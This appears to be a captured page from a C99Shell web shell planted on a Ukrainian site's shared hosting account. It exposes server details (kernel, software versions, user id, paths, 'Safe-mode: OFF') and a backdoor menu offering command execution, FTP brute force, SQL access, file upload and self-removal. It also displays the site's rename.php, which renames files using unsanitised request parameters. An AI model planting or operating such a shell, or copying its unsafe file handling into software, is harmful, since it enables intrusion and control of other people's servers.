!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules/upload/   drwxr-xr-x
Free 106.79 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rename.php (734 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$dir 
= @$_REQUEST['dir'];
$file = @$_REQUEST['file'];
$change = @$_REQUEST['change'];
$ajax = @$_REQUEST['ajax'];

include_once(
"config.php");
include_once(
"functions.php");
$reply=0;

authenticate();    //user login
if($GLOBALS['rdonly']) die("|0|Warning: Working in read-only mode!|");

if(!
$dir$dir=$homedir;
chdir($dir);

if(!
file_exists($file))
    
$msg="File named '$dir/$file' does not exist!";
elseif(
file_exists($change)&&(strtolower($file)!=strtolower($change))) 
    
$msg="File named '$change' already exists";
elseif(@
rename($file$change)) {$msg"File '$file' renamed to '$change'"$reply=1;}
else 
$msg"Error: Rename failed!";

if(
$ajax)
    {
expired();
    print
"|$reply|$msg|";
    if(
$replyfilestatus($change)."|";
    }
?> 

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0099 ]--